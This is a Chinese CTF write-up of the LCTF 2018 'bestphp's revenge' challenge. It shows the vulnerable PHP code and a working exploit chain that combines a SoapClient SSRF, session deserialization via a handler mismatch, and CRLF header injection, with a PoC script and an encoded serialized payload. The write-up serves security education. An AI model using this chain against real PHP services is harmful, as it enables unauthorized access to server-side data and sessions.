首页 > 编程语言 >LCTF 2018 bestphp‘s revenge

LCTF 2018 bestphp‘s revenge

时间:2024-06-06 22:32:40浏览次数:28  
标签:LCTF 22% revenge 3A% flag session 2018 序列化 SESSION

考点:Soap原生类+Session反序列化+CRLF注入

<?php  
highlight_file(__FILE__);  
$b = 'implode';  
call_user_func($_GET['f'], $_POST);  
session_start();  
if (isset($_GET['name'])) {    $_SESSION['name'] = $_GET['name'];  
}  
var_dump($_SESSION);  
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  
?>

dirsearch扫描目录后发现存在 flag.php
image.png

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

$_SERVER["REMOTE_ADDR"] 不可能被伪造 考虑SSRF
通过本地访问后 flag存在session中 将session和cookie用CRLF拆分响应
可以结合首页 回显flag具体的值

var_dump($_SESSION); 

开启了session 考虑打Soapclient::_call打ssrf 就需要结合session反序列化
session反序列化本质是不同session解析器的不同差异 造成的"隐形"反序列化
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项 修改 serialize_handler的处理器
尝试临时修改 session_start()的处理器为 php_serialize
key|value 只有值value(poc)被序列化

<?php
# 利用CRLF注入将user_agent拆分请求 保证session的对应
$target = "http://127.0.0.1/flag.php";

$soap = new SoapClient(null,array('location' => $target,

    'user_agent' => "ctf\r\nCookie: PHPSESSID=123456\r\n",

    'uri' => "J1rrY"));

$payload = urlencode(serialize($soap));

echo $payload;
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22J1rrY%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22ctf%0D%0ACookie%3A+PHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

image.png
Soap原生类被以 php_serialize 形式处理 写入 $_SESSION['name']
image.png
再次刷新 以 默认序列化形式反序列化 session_start()触发session反序化漏洞
image.png
可以明确看到 value 被还原为 SoapClient
现在想办法触发 SoapClient类 不存在的方法 从而触发 call() 实现请求
call_user_func 可以传入一个数组 array(类名,方法) 实现类的方法调用

a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  

可以用extract变量覆盖掉 $bcall_user_func 触发Soapclient方法
image.png
接着携带session对应的cookie 即可回显flag
image.png

标签:LCTF,22%,revenge,3A%,flag,session,2018,序列化,SESSION
From: https://blog.csdn.net/qq_39947980/article/details/139510005

相关文章

  • 脑部磁共振成像肿瘤分割方法(MATLAB 2018)
    近年脑肿瘤发病率呈上升趋势,约占全身肿瘤的5%,占儿童肿瘤的70%。CT、MRI等多种影像检查方法可用于检测脑肿瘤,其中MRI应用于脑肿瘤成像效果最佳。精准的脑肿瘤分割是病情诊断、手术规划及后期治疗的必备条件,既往研究者对脑部肿瘤分割算法进行了深入研究,并取得了很多成果。然而脑......
  • P7311 [COCI2018-2019#2] Maja题解
    [COCI2018-2019#2]Maja题目描述蜜蜂Maja在一个神奇的牧场里为花朵传粉。牧场可用一个\(N\timesM\)的矩阵表示。在第\(i\)行第\(j\)列有\(C_{i,j}\)朵未传粉的花。Maja从位于第\(A\)行第\(B\)列的蜂巢出发,并前往牧场的一些区域后返回。Maja可以在\(1\)步内......
  • 【NOIP2018普及组复赛】题1:标题统计
    题1:标题统计题目描述凯凯刚写了一篇美妙的作文,请问这篇作文的标题中有多少个字符?注意:标题中可能包含大、小写英文字母、数字字符、空格和换行符。统计标题字符数时,空格和换行符不计算在内。【输入格式】输入文件只有一行,一个字符串......
  • LibreOJ 2839 「JOISC 2018 Day 3」安全门
    令\(S\)为题面的\(S'\)。首先考虑刻画出\(\texttt{()}\)对应的折线。首先如果\(S\)本身合法,那么直接DP算一下就行了。否则考虑不合法的情况,考虑反转\((l,r]\)合法的情况的判定。令\(s_i\)为前\(S_{1\simi}\)的前缀和的值。那么有:\(s_r-s_l=\frac{s_n}......
  • Weblogic T3协议反序列化漏洞[CVE-2018-2628]
    漏洞复现环境搭建请参考http://t.csdnimg.cn/TYtKgkali切换jdk版本请参考Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客漏洞原理T3协议实现Weblogicserver和其他java程序间的数据传输,Weblogic开放7001端口则默认开启T3服务,通过构造恶意的T3协议数据,利用......
  • 两个人不约而同的说相同的话做相同的事,是什么情况 ... 2个回答 - 回答时间: 2018年1
    两个人不约而同的说相同的话做相同的事,是什么情况...2个回答-回答时间:2018年1月25日最佳答案: 心有灵犀一点通。......
  • CVE-2018-12613
    phpmyadmin4.8.1RemoteFileInclusionVulnerability(CVE-2018-12613)PhpMyAdminisafreesoftwaretoolwritteninPHP,intendedtohandletheadministrationofMySQLovertheWeb.Thevulnerabilityisintheindex.php,causingfilesiclusionvulnerabili......
  • ECMA 2018(es9)新特性
    本章内容:异步迭代Promise.finally()Rest/Spread属性正则表达式命名捕获组(RegularExpressionNamedCaptureGroups)正则表达式反向断言(lookbehind)正则表达式dotAll模式正则表达式Unicode转义非转义序列的模板字符串1.异步迭代在async/await的某些时刻,你可能尝试......
  • 远程代码执行CVE-2018-7600
    最近打的靶场不约而同地都用到了这个漏洞好好复现下,主要针对的是Drupal的cms框架漏洞环境搭建主要利用vulhub漏洞靶场的环境搭建,建议docker配一个阿里云的镜像加速器,不然的话拉取镜像的时间会很久在/etc/docker下创建一个daemon.json文件写入{"registry-mirrors":["https......
  • P8675 [蓝桥杯 2018 国 B] 搭积木
    原题链接题解1.请务必读清题干意思2.如果以最顶端积木的位置为状态,是可以穷尽所有情况的,则状态为\(dp[i][l][r]\),最顶端第\(i\)层只在区间\([l,r]\)内连续放置积木有几种方法3.状态转移方程$dp[i][l][r]=\sum_1^l\sum_r^mdp[i+1][x][y]$把\(x,y\)看成二维坐标上......